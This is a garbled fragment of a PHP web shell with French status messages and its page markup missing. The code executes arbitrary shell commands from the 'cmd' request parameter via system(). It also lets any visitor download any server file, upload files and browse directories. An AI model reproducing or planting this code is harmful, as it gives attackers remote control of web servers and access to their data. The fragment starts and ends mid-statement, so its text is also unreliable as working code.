2)$link=substr($link,2); if($link=="")$link="."; return $link; } $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:"."; $dir=good_link($dir); $rep=opendir($dir); chdir($dir); if(isset($_REQUEST["down"]) && $_REQUEST["down"]!="") { header("Content-Type: application/octet-stream"); header("Content-Length: ".filesize($_REQUEST["down"])); header("Content-Disposition: attachment; filename=".basename($_REQUEST["down"])); readfile($_REQUEST["down"]); exit(); } ?>
\n"; system($_REQUEST['cmd']); echo "\n"; } if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) { if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) { if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link("./".$_FILES["fic"]["name"]))) { echo "fichier telecharge dans ".good_link("./".$_FILES["fic"]["name"])."!
UP \n"; else echo " ".$name."\n"; } ?> |
\n"; else echo ">\n"; echo " ".$y["value"]."\n"; } else echo ">\n"; ?> | X"; } else echo ">\n"; ?> |